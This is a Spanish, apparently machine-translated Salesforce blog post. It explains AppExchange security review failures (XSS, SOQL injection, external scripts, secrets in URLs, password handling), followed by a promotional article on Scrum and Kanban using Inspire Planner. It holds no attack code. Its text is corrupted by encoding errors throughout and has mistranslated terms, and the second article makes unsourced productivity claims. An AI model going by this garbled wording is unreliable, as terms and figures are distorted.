  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Incorporaci贸n de Agile en Salesforce DevOps – Inspire Planner

Incorporaci贸n de Agile en Salesforce DevOps - Inspire Planner

La r谩pida era digital exige que las empresas entreguen valor de manera r谩pida y eficiente. Sin embargo, los equipos dispersos geogr谩ficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ah铆 es donde entra en juego Agile en Salesforce DevOps.

La gesti贸n 谩gil de proyectos ofrece una soluci贸n que incorpora las metodolog铆as Scrum y Kanban para permitir una adaptaci贸n r谩pida, una colaboraci贸n mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organizaci贸n utiliza metodolog铆as Scrum o Kanban. Entonces, la pregunta es, 驴y t煤?

Comprensi贸n de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodolog铆as 谩giles son estrategias flexibles que facilitan una gesti贸n de proyectos 谩gil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye informaci贸n sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspecci贸n : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptaci贸n : si el equipo identifica discrepancias significativas durante una inspecci贸n, debe ajustar su proceso o los materiales en los que se est谩 trabajando.

Mel茅

Scrum est谩 dise帽ado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de per铆odos espec铆ficos conocidos como sprints. Un Sprint es un per铆odo de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duraci贸n m谩s com煤n es de dos semanas. El equipo eval煤a su progreso en reuniones diarias de scrum, que son debates r谩pidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisi贸n del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar 谩reas de mejora.

Gesti贸n de proyectos Scrum en Inspire Planner, la aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Creaci贸n de un Sprint en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a trav茅s del sistema y responder r谩pidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que est谩 en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a trav茅s del sistema Kanban.
  • Gestionar Flujo : La gesti贸n de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalizaci贸n r谩pidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

An谩lisis comparativo de Scrum y Kanban

El siguiente an谩lisis le brinda una breve descripci贸n general de qu茅 marco podr铆a usar en su organizaci贸n.

Mel茅 Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duraci贸n. Se enfoca en el flujo continuo y no tiene plazos espec铆ficos.
roles Ayuda a los equipos a administrar proyectos complejos dividi茅ndolos en "sprints" manejables y con l铆mites de tiempo con revisiones peri贸dicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosof铆a del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboraci贸n. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qu茅 marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Mel茅 Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboraci贸n y una respuesta r谩pida.
+ Funciones y responsabilidades bien definidas mejoran la rendici贸n de cuentas.
+ Las revisiones peri贸dicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualizaci贸n del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones 鈥 Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
鈥 No es tan flexible para cambiar a mitad del sprint.
鈥 Requiere un alto nivel de disciplina y comprensi贸n de los principios de Scrum.
鈥 Puede que no sea tan efectivo para tareas complejas e interdependientes.
鈥 Sin disciplina, los l铆mites WIP pueden ignorarse, lo que genera cuellos de botella.
鈥 La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades din谩micas de las empresas. Aqu铆 es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder m谩s r谩pidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo s贸lido y una comunicaci贸n efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas peri贸dicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigaci贸n de riesgos : los sprints breves y delimitados en el tiempo permiten la identificaci贸n y resoluci贸n temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener m谩s detalles sobre este tema, consulte nuestro art铆culo sobre c贸mo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboraci贸n, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con 茅xito y a tiempo. Este es el por qu茅:

  • Colaboraci贸n : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desaf铆os del proyecto, lo que promueve una resoluci贸n de problemas m谩s efectiva. Adem谩s, la comprensi贸n compartida y la comunicaci贸n frecuente reducen los malentendidos y la repetici贸n del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen f谩cilmente en el pr贸ximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Adem谩s, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar a煤n m谩s la productividad.

    Los equipos que implementan efectivamente las metodolog铆as Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacci贸n del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de caracter铆sticas valiosas puede aumentar la satisfacci贸n del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electr贸nica de consumo l铆der en Europa, se expandi贸 a China en 2010, desarroll贸 r谩pidamente una innovadora suite de planificaci贸n de recursos empresariales (ERP) en un a帽o. Gracias a la metodolog铆a Scrum y un equipo colaborativo, implementaron m煤ltiples aplicaciones est谩ndar, lo que facilit贸 el lanzamiento de nuevas tiendas en Asia y prepar贸 un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodolog铆a Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. As铆 es c贸mo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, movi茅ndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados us谩ndolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer l铆mites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalizaci贸n m谩s r谩pida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quer铆a aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus m茅todos 谩giles, el cambio hacia el pensamiento Lean y la adopci贸n de Kanban mejoraron dr谩sticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en 煤ltima instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran m谩s competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los l铆mites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar r谩pidamente ante nuevos problemas o cambios.

Pasos para integrar la metodolog铆a Kanban en proyectos de Salesforce

Estos son los pasos pr谩cticos necesarios para integrar de manera efectiva la metodolog铆a Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas t铆picas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar seg煤n las necesidades espec铆ficas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gesti贸n de proyectos f铆sica o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer l铆mites de trabajo en curso (WIP) : defina cu谩ntas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los l铆mites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los l铆mites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores pr谩cticas para integrar metodolog铆as 谩giles en Salesforce DevOps

Las siguientes pr谩cticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educaci贸n

    Aseg煤rese de que los miembros de su equipo comprendan los principios Agile y las pr谩cticas de Scrum o Kanban en funci贸n de la metodolog铆a elegida. Invierta en cursos de capacitaci贸n, talleres y recursos relevantes.

  • Empieza peque帽o

    Comience con un proyecto peque帽o que no tenga mucho en juego. Esto permitir谩 que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presi贸n.

  • Seleccione un marco 谩gil adecuado

    Elija Scrum o Kanban seg煤n los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboraci贸n, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas 谩giles de gesti贸n de proyectos

    Utilice herramientas dise帽adas espec铆ficamente para pr谩cticas 谩giles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transici贸n. Si su organizaci贸n utiliza Salesforce, idealmente deber铆a buscar una herramienta de gesti贸n de proyectos nativa de Salesforce en AppExchange.

